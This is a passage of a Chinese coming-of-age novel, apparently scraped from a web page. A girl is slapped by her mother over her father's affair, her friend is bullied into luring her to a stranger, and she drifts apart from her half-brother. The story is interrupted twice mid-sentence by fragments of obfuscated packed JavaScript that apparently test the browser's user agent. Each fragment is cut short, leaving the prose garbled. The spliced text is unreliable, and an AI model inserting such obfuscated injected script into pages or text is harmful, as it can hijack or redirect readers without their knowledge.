孔净被李贤梅拉拽回石厝时,她慌乱间同刚才那个去家里找她的嬢嬢对视上,她一瞬间明白了她那么着急问孔大勇在不在,除了期望他去主持大局之外,还有更深一层的含义。 看笑话。 “妈……” 回去的路上,孔净喊李贤梅,话音未落就被扇了一耳光。 李贤梅疯了一样转过头,“你刚刚是不是想帮姓宁的?!” 她视线擦过孔净,看见站在孔净后面的少年,她被少年眼里的冷淡刺伤,“养你们还不如养条狗!狗起码不会帮外人!” 孔净感觉被李贤梅拽住的手腕像是要断了,但是这远比不上从左边脸颊传来的痛楚。 她以前也被李贤梅打过耳光,但是从来没有像这次这么痛过。 她被打偏了头,下半身站定,上半身朝后,身体呈现一种怪异的姿势朝后扭曲着,视线垂落,昏冥中看见少年的手紧握成拳,白玉般的手背青筋凸起,和小学那次在众目睽睽之下打架一样的状态。 但也许是她被打昏了头,看错。 孔大勇没回来,打电话也不接。 李贤梅在屋子里没有目的地快速走来走去。 孔净肿着半张脸站在门边,一动不敢动。 她觉得害怕,现在的李贤梅很像一只发狂的蜂子,不惜以同归于尽的方式用螫针狠狠扎向她自认为的敌人。 很不幸,这屋里除了她,只有孔净。 哦,还有陈端。 李贤梅仇恨的目光先是射向陈端,然后才是孔净,最后只有孔净。 “出去待一会。”陈端本来站在孔净身边,后腰靠着铁门,接触到李贤梅的视线后,他微微站直。 孔净听到了,但是她没动。 她已经预料到接下来会发生什么,可是她做不到离开,因为她清楚李贤梅深藏在愤怒之下的悲伤和无措。 她没办法留李贤梅一个人。 而李贤梅对孔净的狂怒也并非没有来由,她师出有名,她飞快走到床边抓起孔净的书包,一把撕开拉链,把里面的东西倒在地上,然后再转身,目的明确地从孔净床上的枕头底下掏出两本册子,甩手砸向她。 封面梦幻的青春杂志掉在地上很响,跟挨耳光的声音很像。 李贤梅脚踩在杂志上又碾又跺,“让你读书,你一天只知道看这些东西!当我不晓得是不是?!我在厂里累死累活,你就是这样回报我的?!你脑子烂掉了!嘴里没有一句实话!昨天还让杨金禾给我打电话说你要补课,晚上才回来——骗鬼啊?你补不补课我难道不知道!你说!你想去哪里鬼混?才几岁就学人家看烂眼睛的黄色书!你天天一口一个桂华嬢嬢,呸!你学嘛!你看嘛!她今天什么下场,你以后也是什么样!!” “滚!滚出去!都给我滚出去——!” 李贤梅把孔净搡出去。 她仇恨地看向陈端,陈端不用她撵,自觉转身也走了出来。 铁门“咣当”落锁。 夜幕已经降临,周遭忽然变得很安静,远远可以听见厂房里机器运转的声音,混乱的人声早已被淹没。 孔净靠墙蹲在石厝的窗台下,轻声说:“不知道桂华嬢嬢怎么样了。” 陈端站在旁边转角的地方,垂着眼睛放空思绪,听见孔净的话看向她,“你还是先关心自己。” 孔净半张脸都是肿的,但是因为窗台下光线昏暗,看不太出来。 她下巴轻抵着膝盖,“我这个过几天就好了,可是桂华……” 一想到她被拴住脖子像狗一样在地上拖行,孔净就觉得浑身泛冷。 如同一条的命运降临在宁桂华的身上。可是,王立胜才是杀一条的真正凶手。 “我报警了。”陈端忽然说。 孔净仰起头,“你……” 陈端从裤兜里拿出一个东西抛给孔净,孔净条件反射伸手去接,是一只按键机,最新的打给110的通话记录在一个多小时前,差不多在那个嬢嬢来报信的时候。 “……哪儿来的?”孔净说的是这只按键机。 “赌钱赢来的。” 如陈端所料,孔净一霎皱起了眉,眼里盛满嫌恶。 孔净扬起胳膊就想把手机丢回去,理智胜过情绪,就算是赌钱赢来的赃物,弄坏了她也赔不起。可她不想走过去,抿唇把手机放在两人之间的草地上,或者说轻摔更为准确。 陈端无所谓,俯身捡起手机,就势也靠墙蹲着。 月光倾照,填不满两个少年之间的空隙。 孔净望着地上的阴影出神,“你好像一点也不惊讶。” “什么?” “桂华嬢嬢和爸爸……” “你不是也早就知道。” 孔净猛地转头,“我没有!” 那次在森林里碰见宁桂华她什么都没看见,只是隐约听见了一点声音,是宁桂华的声音,还有、还有…… 陈端静静看着孔净,“是吗。” 宁桂华不是初犯,村子里和厂区没有招待所,没有开房一说,就算有,那多贵。天然的密林老树是再合适不过的苟合地。宁桂华去得,其他人也去得。 陈端周末如果不在石厝,就是去林子里写生,碰见很正常。只是他们都没有发现他,也不会想到十四岁的少年撞见这种秘辛,事后居然能做到冷眼旁观。 “我真的没有!” 孔净被陈端沉静目光刺到,她像一只被踩伤尾巴的猫,一下跳起来。 可是陈端并不就此罢休,他轻描淡写地告诉孔净,“知道又怎么样。他们只是狗咬狗。” 少年的声音还是那么清爽,声线很好听,完全没有变声期的尴尬。 可是听在孔净耳朵里只觉得陌生。 “你、你怎么这么冷血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孔净从淋浴间出来,嬢嬢们集体背后长眼睛,安静一瞬,然后相继转头,亲热地喊她,“过来这边洗,给你让个位置。” 孔净摇摇头,拎着换下来的脏衣服回石厝。 陈端没回来,孔大勇也是。 孔净用透明胶把书和作业本粘好,做好了饭等李贤梅回来。 李贤梅扫一眼她的脸,几个指印高高肿起,她说:“等会去小卖店要点冰块敷一下。” “嗯。” 孔净思绪飘忽,昨天那么晚了,陈端去哪里弄的冰块给她? 晚上李贤梅看电视看到很晚,孔净躺在床上听着从电视机里传来的南音唱词,似懂非懂,惘惘然入睡。 周一早晨,李贤梅看见孔净站在铁架床边愣神:“等什么呢还不走?” 孔净取下书包背上,李贤梅看见旁边挂钩上陈端的书包,皱了下眉,但还是叫住孔净,“把他的也带上。” 孔净已经转身走出门,李贤梅一把拽下陈端的书包追出来,“跟你说话没听到?” 陈端的书包被李贤梅扔进自行车前兜,摔得有些变形了。 孔净低头看一眼,抿着唇没说话。 李贤梅像是有些满意孔净拒绝给陈端捎带书包的行为,本周的生活费多给了她十块。 可这多出来的十块钱,孔净拿着,很烫手。 她到学校时挺早,路过二班走廊装作不经意从后门望进去,里面没多少人,陈端的座位也是空的。 阿禾今天来很晚,离打铃没几分钟了才跑来找孔净。 孔净坐在座位上把作业本和书包一起从窗户递出去,阿禾认得陈端的书包,更惊讶的是孔净的作业本。 “怎么啦?谁撕的?” “我自己。”孔净说,“你借我的书也坏了,中午算一下多少钱,我给你。” “……哦,没事啦。” 阿禾怏怏不快,孔净以为是因为杂志。 中午吃饭的时候阿禾有气没力地往嘴里塞饭,“不是啦,我……” “怎么啦?” “我……”阿禾欲言又止,看见孔净一脑门官司情绪低落的样子,把原来想说的话咽下了。 她吐出一口气,喝完紫菜汤,想起什么,“陈端今天上午翘课,快放学了才进教室。班主任让他中午不准吃饭,在教室后面罚站。” “哦。” “哦?!你们吵架还没有和好吗?” “没有……吵架啦。”孔净假笑一下。 阿禾又叹气,“这样就很麻烦了。” “什么很麻烦?” “啊……就是不能蹭免费雪糕和酸梅汤了啦。” 孔净也叹气,不是因为没有免费雪糕和酸梅汤,而是就算李贤梅多给了十块,还清杂志的债之后,她还是不得不紧缩伙食费。 比她还穷的应该是陈端,李贤梅只让她把陈端的书包带来学校,该他的生活费一句没提。 可是,关孔净什么事。 ……她绝对绝对不会自讨没趣,再去管他。 14. 第 14 章 吃完饭回学校,快要期末了孔净打算去教室复习,阿禾不可能加入,无精打采说要回宿舍午休。 路过二班教室,孔净心不在焉,转头就看见原本应该在罚站的人,趴在后门桌子上睡着了。 少年没穿校服,右边胳膊伸直,背对着把头枕在上面,蜷起的后背撑起T恤面料,肩胛骨和脊骨隐隐突出,怎么两天不见就好像瘦了一圈。 深色牛仔裤已经短了,坐下的姿势露出整个脚踝,底下那双白色运动鞋边缘洗得有些发黄,都是过年时李贤梅领他们去镇上的批发市场买的“韩版时髦款”。 孔净想起他刚来时的装束,她听阿禾说过,一双有打勾标志的正版运动鞋最少也抵得过她一个半月的生活费。 孔净出神想着,斜对面窗户被风吹动,趴在桌子上的人忽然动了一下。 她眨下眼,快步回到教室。 周二,阿禾来跟孔净打小报告,“告诉你哦,昨天晚上陈端没在宿舍睡,今天上午又是快中午才来上课。而且哦,他两只眼睛红红的,一看就是熬夜过度,你说他晚上去干什么了呀?” “不知道。”孔净面无表情,装作很铁石心肠的样子。 周三,阿禾告诉孔净,“陈端翘课和罚站已经是家常便饭,班主任警告他再这样下去就要叫家长了吼!” 周四,“安啦安啦,你也知道我们班主任是雷声大雨点小,暂时没有叫家长,氮素!陈端挨板子了!被教鞭打的!” 周五,“号外号外——” “我可以不听吗?”孔净真的好烦,她一点也不想知道陈端被打的是左边屁股还是右边屁股。 “真的吼!?可是事情超大条诶!跟我前几天跟你说的完全不是一个性质!你是陈端在学校里唯一的亲人,就算不关心,怎么都应该听一下吧。”阿禾表情超认真。 孔净:…… 阿禾挪挪挪挪到孔净耳边。 “……自来水下馒头?!” “对啊,是不是很惨?吼!就在网吧门口,我们班同学亲眼看到的!原来他晚上没在宿舍睡觉是去网吧打游戏。听说昨天晚上有两拨小流氓闹事,他在旁边还不小心挨了一拳……” 阿禾指着自己的左脸跟孔净比划了下,她深感痛惜,“校草的脸就这么毁了……不过话说回来,还好伤的不是脑壳,听说太阳穴这种位置轻轻碰一下就会死掉。哎呀,其实死掉也还好啦,要是被打成脑瘫就夭寿了啦,从此以后你就多了一个傻弟弟……” “……脑瘫不一定会影响智商。” “真的吼?老师连这个都教?” “从杂志上看的……这不是重点。” 孔净想说脑瘫患者已经够惨了,不要随便拿人家开玩笑。 孔净怀疑阿禾夸大其词,但她又讲得有鼻子有眼。 她一点也不关心陈端,可是一下午都不在状态。 刚放学阿禾就背着书包来等孔净,孔净好奇怪,“你不去水宝家吗?” “绝交了……” “怎么会?” 孔净总觉得阿禾最近这段不太对,表面上看起来还是嘻嘻哈哈,但总是走神和叹气,问她是不是遇到什么事,又不肯说。 “孔净,你可不可以跟我、陪我去见一个人?”阿禾嘴巴发白,和平时大大咧咧的样子完全不一样。 孔净看她,“什么人?” “我们都认识的、人。”阿禾咽了下口水,好像很怕的样子。 孔净更加狐疑了,“到底是什么人啊?” “……去了就知道了。”阿禾抿紧嘴巴,六神无主的样子,帮孔净把要带的、不带的通通一股脑塞进包里。 孔净的书包拉链都要被撑坏了,好重。 阿禾一手推车一手紧紧挽着孔净的手臂,出校门时一直在东张西望。 “你在看什么?”孔净问。 “没有啦。”阿禾小声问,“你不跟陈端一起回家哦?” “谁要跟他一起。” “这样吗……” 阿禾咬着嘴唇,不知道是松一口气还是更加担心的样子。 孔净被她拽得身体严重歪向一侧,骑上车之后总算松了一口气。 “就在前面文具店。”阿禾的车把手碰到孔净的。 “这样很危险!”孔净怕出事,龙头已经自动拐向文具店方向了。 阿禾把车骑得很快,一下就超过了孔净。 “喂……”孔净也加速追赶,但是转眼就不见阿禾踪迹。 文具店门口停了好几辆车,其中一辆倒在地上,正是阿禾的。 孔净下了车,抱起书包,然后帮阿禾把车扶起来。 店里人挺多,孔净挤进狭窄的货架空隙,“阿禾,阿禾?” 最里边的货架连着一条昏暗甬道,下午的阳光只能照到甬道另一头的后门槛,门外有一个直径差不多七八十公分的树桩,店里如果没人来光顾老板就会在树桩上摆上一壶粗茶,坐在摇椅上慢慢呷饮,孔净和阿禾有时吃完饭也会买点小零食带上杂志在那里消磨时间。 然而此时,树桩上躺着一个书包,拉链大敞,笔袋、课本、明星画报……撒落在地。 “阿禾?” 阿禾以前也玩过这样的把戏,孔净慢慢往后门走,以防她突然从哪里跳出来,“不要闹了啦,再不出来酸梅汤就被人买光了——” “嘴这么贪,难道大人没有教你贪吃很危险……” 门口光影一晃,有个弓着背的瘦长身影遮挡视线,滑腻腻的声线像是冰冷蛇身掠过脖颈,孔净一霎顿住。 那张脸逆着光,而且隔了好几年,照理来说孔净已经认不出来,可是他脸上的粉刺密布,一个个凸起密密匝匝,每个凸起上面都爆出白色小点,像是从皮肤里面爬出来的蛆。 孔净打了个寒颤。 男生看着孔净的表情忽然笑得身体乱抖,举到脸前的香烟扑簌落着烟灰。 “你想起来了嘛。哈哈……原来你这么想我的啊。过来啊,我这里有比酸梅汤更好喝的东西。” “阿禾呢?” 孔净脚趾抓地,要很努力才能控制身体逃跑的本能反应。 “你过来啊,过来我告诉你。” 男生咬着香烟,虚眯起眼睛,一步步朝她走过来。 孔净感觉双脚被什么东西攫住了一样,一手抱着书包,另一手悄悄滑进隔层,摸到一把美工刀。 就在男生快要走到面前,她忽然转过身,往外面跑。 撞到几个人,老板从柜台前站起身喊她,“消渣谋(疯女孩)!遭瞎难(跑什么)?” 文具店门口阿禾的自行车已经不见了,孔净一把抓住自己车的龙头,前车胎离地,调个头,歪歪倒倒驶离。 男生笑得很大声,阴风似的咬在身后。 车子骑到大马路上,旁边车流轮胎轧过水泥地,这声音把孔净拉回现实。 她回头,什么也没有。 仍旧心有余悸,同时担心阿禾。 这个时间学校里已经没有老师了。 就这么惘乱地机械踩着脚踏,直到龙头被一只白净而有力的手握住,车子一下被阻停。 “想要自杀可以直接骑去路中央。” 孔净被惊了一下,抬眼,才发现已经到了网吧门口。 陈端蹙眉站在她面前,眉骨低低的,左边颧骨上一块紫红色淤青,看起来和平时很不一样。 但如果忽略他略显戾气的眼神,外形上还是给人温淡清爽的感觉。 “怎么了?”几乎是视线碰上的一瞬间,陈端就发现她不对劲。 孔净一下忘了之前和他发生的不愉快,抓住他手腕,“阿禾……你可不可以跟我回去找下阿禾?” “她刚骑车经过。”陈端看着她,“发生什么事?” 孔净听他这样说,紧绷的神经一下松懈。 陈端握着龙头的手并未移开,“发生什么事?”他又问了一遍。 孔净其实想说的,可是她看着陈端脸上的淤青,怕他知道后跟人起冲突,于是垂下眼睫,“没什么。” 陈端眉头皱得很紧,他知道孔净在说谎。 孔净晃了下龙头,“我要回家了。” 顿了顿,想问,你呢? “随便你。”陈端一下松开手。 他走进网吧,门口几个黄绿毛或蹲或站在抽烟,问他:“女朋友哦?” 陈端偏头冷视一眼,黄绿毛愣了愣,咬着烟头很没趣地笑笑。 孔净在网吧门口逗留一会儿,仰头,二楼窗户里那个座位始终是空的。 黄绿毛开始吹流氓哨说荤话,她冷着脸,只好骑车离开。 她还是担心阿禾,绕过厂区,骑车去了村子里。 阿禾的自行车停在她家天井里,人却不在,阿禾阿嬷说她出去找同学玩了。 阿嬷招呼孔净进去喝绿豆汤。 “谢谢阿嬷,我不喝,我要回家了。”孔净只得无功而返。 回到石厝,意外孔大勇的摩托车停在门口,铁门也是开着的。 “你弟弟呢?”孔净一进屋,孔大勇就问。 他坐在桌子边抽烟,面前几瓶空了的啤酒瓶,烟灰缸照例是满的,看样子已经坐了一下午。 李贤梅在做饭,闻言也转头看了孔净一眼。 孔净不知道孔大勇是什么时候回来的,但距离宁桂华的事才过去一周,她小心品嚼家里的氛围,轻声说:“在后面。” 孔大勇砸吧着嘴,从破钱夹里抽出十块钱,“再去给我买两瓶酒。” 孔净接过钱之前又看了眼李贤梅,孔大勇嬉皮笑脸地喊道:“贤梅给我酥点花生米,光喝酒嘴里没味儿!” 李贤梅回头剜了孔大勇一眼,孔净看得出来那眼神并不全是恼怒。 她捏着钱出门,很不理解孔大勇和李贤梅之间的气氛。 她原以为李贤梅会和孔大勇大吵一架,或许,在她回来之前已经吵过了? 孔净提着啤酒从小卖店回来,专门走的厂里。 饭菜香气从每个石头房子飘出来,嬢嬢们和自家丈夫端着饭盆在各自房门口边吃边说话,小孩尖叫着跑来跑去,和往常没什么区别。 宁桂华歪斜着身子倚在门框边,“孔净,来!嬢嬢给你留了好东西!” 她折身从屋里拿来一盒包装精美的饼干,孔净注意到她左脚有点跛,艳丽绵绸长裙也跟着一拐一拐,她脸上、脖子上、裙子遮不到的地方都还残留着淤青和伤口,可她浑不在意的样子,笑嘻嘻地把饼干递过来。 这饼干是她前天出院时在镇上买的。 孔净不明白,很不明白。 “为什么?”她看着被打得体无完肤后还照样涂脂抹粉站在家门口的女人。 “什么为什么?”宁桂华瘸着腿走近,昏黄灯光从后面照过来,她的脸青一块紫一块,在劣质化妆品的装扮下十分艳俗。 她哈一声,像是想起什么,笑眯眯地问:“你说我和你爸爸啊?啊呀多大点事!小孩子别听大人乱说。” “是乱说吗?”孔净搡开被塞进怀里的饼干。 饼干盒掉到地上,宁桂华费力弯腰捡起来,她拍拍盒子上的灰,斜眼笑看孔净,“回去问你爸爸啰。” “……不要脸。” 孔净只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孔净独自站在棚子里,李贤梅进来洗盘子看见一个黑影吓了一跳,“魂不守舍的干什么?你爸等你拿酒回来嘴巴都等干了!” 李贤梅拉开灯,见孔净要出去,叫住她。 “做得对。”李贤梅声音轻轻的,对孔净露出这些天以来的第一个笑脸。 孔净微微睁大眼睛,明白过来李贤梅也以为是她。 塑料袋勒得指节发白,孔净垂着眼,没承认也没否认。 她不知道自己算什么,冒名顶罪,还是替人邀功。 孔净理解错了,大人们如果决心欲盖弥彰就会尽最大努力掩饰太平,但如果心有芥蒂,哪怕最微小的细节也会昭示心中怨怼。 孔大勇和李贤梅回不到从前,家里的气氛愈发微妙,真正爆发是在王立胜从派出所出来回到厂里又大闹了一场之后,不过王立胜这次没打宁桂华,而是把自己灌得半死后躺在切割理石的机器上,扬言要自杀。 因为他这一闹,厂子被迫停工半天。孔大勇指挥工人费了九牛二虎之力才把人抬下来。 孔净和陈端被赶出来,孔大勇和李贤梅叫上王立胜、宁桂华以及厂里另一个老资格的工人,关上门在石厝里谈了一下午加半个晚上,最后的结果是王立胜带着宁桂华走人。 但孔净知道王立胜不可能光是走人这么简单,他必然拿了一笔遣散费,从李贤梅一触即发的高压情绪和急剧收缩的家庭支出就能猜到。 李贤梅双眼发红,终日阴沉着一张脸,把所有力气都发泄在厂子里,有时就算不缺勤杂工,她也会撸起袖管像男人一样装货卸货。 而孔大勇为了找回老大的主场,减少外出的频率,每天在微醺状态下背着手在厂里指点这个指点那个。 他们不吵架,明面上不发生争执,他们很有默契地把孔净和陈端划入各自的阵营,必要时就用他们来交锋。 比如孔大勇知道李贤梅已经很长一段时间没给过陈端生活费后,气得扬手砸了一只空酒瓶,然后赌气似的给了陈端两百,并且告诉他以后生活费都是这个标准,让他大胆花,想怎么花就怎么花。 孔大勇很上头,忘记他的钱夹根本就是今天有明天无的诈尸状态。 李贤梅不甘示弱,领着孔净去镇上买了新衣服和新被褥,晚上做饭刻意把唯二的两只鸡腿都夹到孔净碗里。 结果就是孔大勇把筷子一摔,指着孔净问:“你嘴巴这么馋呢?有好的全让你吃了,一点不知道心疼弟弟!” 李贤梅用筷子用力挑拣着盘子里的菜,“什么弟弟?我反正只晓得自己只生过一个。” 她胳膊肘捅一下孔净,“孔净你有弟弟吗?哪个妈生的?” 孔净握着筷子没敢抬眼,对面陈端好像也在看她。 孔大勇做错事在先,不敢对李贤梅怎么样,就用同样生着厚茧的粗短指节隔空对着孔净指了又指,最后他一拍桌子,“吃个锤子还吃!” 他骑摩托车带陈端走了。 把孔大勇气走,李贤梅得到报复的快感,但很快心情直转急下,她饭吃一半撂下碗筷,去床上躺着。 隔了一会儿猛地坐起来掀开蚊帐,“你说!陈端是不是你弟弟?” 两个鸡腿孔净没动,被孔净原封不动放回盘子里。 她站在桌边收拾碗筷,知道李贤梅情绪在崩溃边缘,顺从地捡她最想听的说,“不是。” 李贤梅含泪哼笑一声,但更生气了,“不是你爸爸为什么疼他跟疼什么似的?!你爸爸为什么不疼你?——你恨不恨陈端?” “……恨。” 孔净把碗筷收到铁盆里,端去旁边简棚清洗,晃眼就看见停着的自行车上坐了个人,她轻吸一口气,左手抱紧铁盆,右手悬停在电灯开关上。 狭窄的手机屏发出微弱蓝白光,照见少年低垂眉眼。 听见声响,陈端没抬眼。 孔净也没问他怎么自己回来了,按亮灯,错身走到水槽边。 老式灯泡悬挂在头顶,蚊蝇绕着嗡嗡乱飞,光影错落分割,谁都没有抬眼看对方。 15. 第 15 章 新的一周,期末考试周,就算是平时最顽劣的学生也染上些许紧张。 阿禾没来找孔净,孔净去找她,她也回避。 孔净只能等考试结束之后再找机会和她碰面。 但阿禾似乎决心躲着孔净,考完最后一科就匆匆回宿舍收拾东西。 孔净随后追过去,却在二班女生宿舍门口看见许久没露面的长脸和圆脸。 职高早就放假了,她们模仿女明星的打扮,穿得很清凉,妆也很浓。 两人像当初夹击孔净一样把阿禾夹在中间。 阿禾被她们贴着彩色纹身的胳膊时不时撞一下,两边肩膀紧缩快要粘到一起。 “你们在干什么?不要欺负阿禾。”孔净走到她们面前。 长脸和圆脸看见孔净都眼前一亮,但似乎又忌惮着什么,往她身后瞥了好几眼。 “我们哪有欺负阿禾同学,她是自愿和我们做朋友的哦。”长脸说着把手搭在阿禾的肩膀上,低头问她,“是吧?” “问你话,为什么不回答?再这样我生气了。”圆脸喜欢唱红脸,手在背后掐了阿禾一下。 阿禾咬唇看着地面点头,“……对啊,我们是朋友。” 孔净皱眉,她当然看出阿禾不是自愿。 “阿禾,你过来,不要怕她们。” “干嘛?你要保护她哦?”长脸说,“我们又不会欺负她,你不要这么紧张啦!你也和我们一起玩吧。” “阿禾。”孔净伸手握住阿禾的手腕,“我们一起回家。” 阿禾小心看向孔净,眼里有迟疑、心虚,还有挣扎。 孔净加重握住她手腕的力量,坚定道:“走。” “你确定吗?”在阿禾迈出步子之前,圆脸在她背后掐得更用力,“忍一下说不定我们就放过你了。但是你要是敢反抗,结果只会越来越严重。” “对啊对啊,虾皮说的话你不要忘记。如果当时不是你的好朋友孔净同学先动手,后来陈端也加入进来,搞得虾皮那么丢脸初中只上到一半就不读了,我们今天也不会来找你啊!其实你也是无辜受他们牵连的啦!”长脸说,“孔净同学现在是有人保护啦,但是不可能一直不落单,再说了,有人保护又怎么样?虾皮可是发过誓,要连陈端一起收拾!” “……你们、是一伙的?” 孔净终于把她们口中的虾皮和粉刺男对上号。 “要不然你真的以为是你名气大哦?”圆脸翻个白眼。 “哎呀不要这么说啦。”长脸又开始唱反调,“孔净同学还是挺有名的啦,成绩又好长得又特别,虾皮让我们转告你,如果你愿意和他交往,他可以放过你和陈端,当然啦……” 她大力拍拍阿禾肩膀,“还有你的好朋友。要不要考虑看看?” “做梦。” 孔净用力把阿禾扯到自己这边,拉着就走。 长脸和圆脸在后面发出警告:“阿禾同学,你确定要跟孔净同学一起吗?回来和我们做好朋友,过两天我们腻了就放过你啦。跟着孔净同学,她只会像小学那次把事情弄大,劝你想清楚。” “阿禾……” 孔净感到身后一道阻力,转过身,阿禾停在原地,被握住的手腕有挣脱的趋势。 “对不起孔净。”阿禾想哭,她觉得自己很怯弱,可是她又感到愤怒,她说不上来,也许真的像她们说的那样,当时忍一忍就好了,她又没有让孔净帮忙,是孔净自作主张先动手打人,才会造成后来一连串的反应。 她这段时间被虾皮私下找过好几次,真的快要崩溃了。 特别上次骗孔净去文具店之后,她本来就羞愧,现在再对上孔净的目光,血气上涌,忽然恼羞成怒。 “你不要这样看我。”阿禾受不了孔净的眼神,好像她害怕是多么丢人的事。 她一下甩掉孔净的手,“要不是知道陈端打架很厉害,又会为你出头,你那天根本就不会帮我!你根本就是狐假虎威!好像你真的有多勇敢一样!如果你真的像表现的这么有种,一条被吃掉,你为什么连个屁也不敢放!还骗我说它跑去好人家……你到底在装什么啊?!” 阿禾捂着脸真的哭了,她转身跑下台阶。 “你怎么知道……?”孔净呆立在原地,她被阿禾的话击中,天灵盖发冷发紧。 “一条是谁?”长脸和圆脸两脸震惊,“……吃、人吗?噫!!!” 后来长脸和圆脸围在身边说了什么,孔净一点印象也没有。 骑车回家,日光把身后一直跟着的人影拉长映在水泥地上,孔净心头一惊,转头,龙头也跟着一歪。 陈端踩着脚踏时而向前时而向后,控制着自行车以极慢的速度匀速滑行。 他从网吧门口就一直在后面了,注意到孔净终于发现自己,他没什么表情地掀起眼皮。 “你跟着我干什么?”轮胎擦着道路边缘,车子差点掉进沟里,孔净把着龙头惊险逃过一劫。 她受惊吓的同时莫名感到委屈,她不知道委屈的原由,也很任性地选择忘记陈端要回石厝只有这一条必经之路。 陈端看着她,自顾以刚才的方式慢行,没说话。 眼泪在眼眶里打转,孔净瞪大眼睛发力猛踩脚踏。 她的样子或许看起来很可笑,可是她才不要在陈端面前哭。 生活的圈子逐渐变得窒闷、怪异。 去学校领成绩单那天阿禾缺席了,她后来也没来找过孔净。 孔净有次骑车“路过”村里,阿禾阿嬷说她去泉州找她表姐玩了,开学前才回来。 阿嬷问孔净穿多大码的鞋,阿禾表姐在鞋厂里打工,阿禾回来可以帮她带两双不要钱的瑕疵品。 “虽连系不良品哦,但系假或勒,质量很好勒!”阿嬷闽南语里夹杂着普通话,让孔净不要嫌弃拿回来的鞋子,其实看不出来哪里有瑕疵,穿上之后就跟花大价钱从名牌店里买来的一模一样。 “谢谢阿嬷,我没有嫌弃,我鞋子很多。”孔净真诚谢过阿嬷,心想就算她厚着脸皮说要,阿禾也不会帮她带。 厂里的效益也愈发不好,因为薪水大跳水,工人和嬢嬢们都怨声载道。孔大勇在厂里“坐镇”一周后,脚底抹油的老毛病再次复发,李贤梅的脸拉得一天比一天长,她对孔净和陈端的态度虽各不一样,但本质上都更加苛刻。 半个暑假过去,陈端没有主动和孔净说过话。 天气越来越热,他们之间的冷冻层却越来越厚。 孔净有时候也想不明白他们怎么会变成现在这样。 明明,三个月前陈端还背过她,而她私下还和他有说有笑。 陈端白天几乎不在,晚上也很少在,一周七天可能只有两个晚上睡在铁架床上铺。 李贤梅放任不管,可能还会在心里期盼他哪天出去后永远不再回来。 孔大勇想管,但是他先管不住自己一心往外跑的腿。 有次他酒足饭饱后半夜回来,看见铁架床上铺是空的,握起拳头把指节捏得咔咔响,他愣是坐了一晚上等陈端回来。 他决定故技重施,要以打骂的方式管教陈端,但他一拳挥过去被陈端轻易躲开,孔大勇一个趔趄过后转过身惊奇地看向他,好像在这个时刻才发现陈端已经长大。 陈端个子高,不到十五岁就超过了一米七五,肩宽背阔,虽显单薄,但T恤下两只小臂线条匀称,昭示着在不久的将来将会获得的年轻力量。 孔大勇又愤怒又惊喜,“儿砸,有脾气……像我!” 他那被酒精和各种苍蝇馆子的肉菜填饱膨胀的肥厚手臂,伸长,重重拍在少年的肩膀上,情绪很戏剧性地,急转为老父亲对新生狼崽的殷切疼惜。 陈端站着,被拍打的左肩不曾歪斜,年轻白皙的脸庞上表情淡淡。 至少,在孔净看来,没有所谓亲情的东西流过。 孔大勇管不了陈端,就换成另一种极端的方式,纵容。 “男孩子就是要野一点,在外头吃得开是好事,天天待在屋里像个娘们,咱们是男子汉,男子汉就该出去闯!去闯!爸爸支持你!” 一通毫无逻辑的壮志豪言发表完,油门一轰,又骑着摩托车跑了。 李贤梅不在,陈端踩在爬梯上,一手抓着上铺围挡,另一手从床尾的小号编织袋里拿换洗的衣服。 他已经三天没洗过澡,身上被网吧里各种泡面、香烟、汗渍的味道腌入了味,很难闻。 孔净关了煤气灶火,用抹布隔着手柄端起灶上的不锈钢锅,把锅里烧开的水倒进桶里,就出去了。 陈端图省事本想冲个凉水澡就完事,拿着衣服转身,看见冒着热气的小半桶热水,微微一愣。 孔净端了个矮板凳坐在外边屋檐下理空心菜,陈端提着水桶从身边走过时,她动作没停。 男孩子冲澡很快,陈端把搓洗干净的衣服晾在黄葛树下的铁丝绳上,带着新鲜锅气的饭菜香从旁边窗户飘出来,他微微偏转视线,窗户里孔净正一手端一只盘子走到桌边。 孔净焖了半锅米饭,炒了辣椒鸡蛋和蒜蓉空心菜,还是半上午,离中午李贤梅回来还有一段时间,因此菜量做的很少,只够一个人吃,装在小盘里。 她把盘子放下后,洗了手,解下围腰,就坐到旁边红色理石桌前,随便捡一本书翻开。 陈端进来,把桶和香皂放回原位,餐桌上瓷碗盛了小山一样的米饭,旁边整整齐齐放了一双筷子。 他顿了顿,还是走到桌边坐下。 孔净听见背后传来椅子拖拉的声音,虚焦的视线才慢慢聚拢。 小时候的教养刻在骨子里,陈端吃饭很安静。 十来分钟后,他把空盘叠在一起,站起身,却听见背后孔净说:“放下吧,我来洗。” 停了好几秒,他轻“嗯”一声。 孔净垂眼把书扣上,去收碗筷到简棚里清洗。 出来时看见陈端坐在刚才她理菜坐的矮板凳 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他还是保持偏头的姿势看孔净,瞳仁由曜石黑转至淡灰,从中间向边缘渐变,色泽浓郁又冷淡,很特别。孔净以前就发现了,上了初中之后她从书上看到一个比喻觉得很贴切,“寒潭照影”。 “危险不是正好,最好死在外面,这样大家都如意了。”不等孔净说什么,陈端又接了一句。 年轻鲜活的生命说到死也稀松平常,好像这就是他最想要的东西。 孔净一瞬间想到一条,想到阿禾,想到被拴住脖子在地上爬的宁桂华,也想到陈端后腰上的锋利伤痕。 她嘴唇颤动,“一定要把话说得这么难听吗?谁如意了……又没人欠你什么。” “对,没人欠我,是我欠你们。”陈端站起来,“所以别费心思管我,这样我就不会欠你们更多了。” 他要进屋拿东西,进门时高出一截的肩膀擦过孔净耳际,明明是微不足道的力度,孔净却身体一偏,后背贴上铁门。 陈端从上铺取走正在充电的手机,端口回弹在手背留下一道很细小的红痕,他低头看去,眼里盛满浓郁的不甘与自弃。 索性连插头也一并拔了。 从爬梯跳下来,脚刚踩实就听见轰隆隆的摩托车声音闪过,伴随着男生肆意狂浪的笑声,紧接着就是女孩子的尖叫声。 陈端一怔,快步跑向孔净所在的位置。 孔净抱头蹲在门边,砸挂在她头上的死老鼠顺着后脑勺和后背一路跌滑下去,腥黏的腐臭味令她全身每个毛孔都在颤抖。 她控制不住又叫了一声。 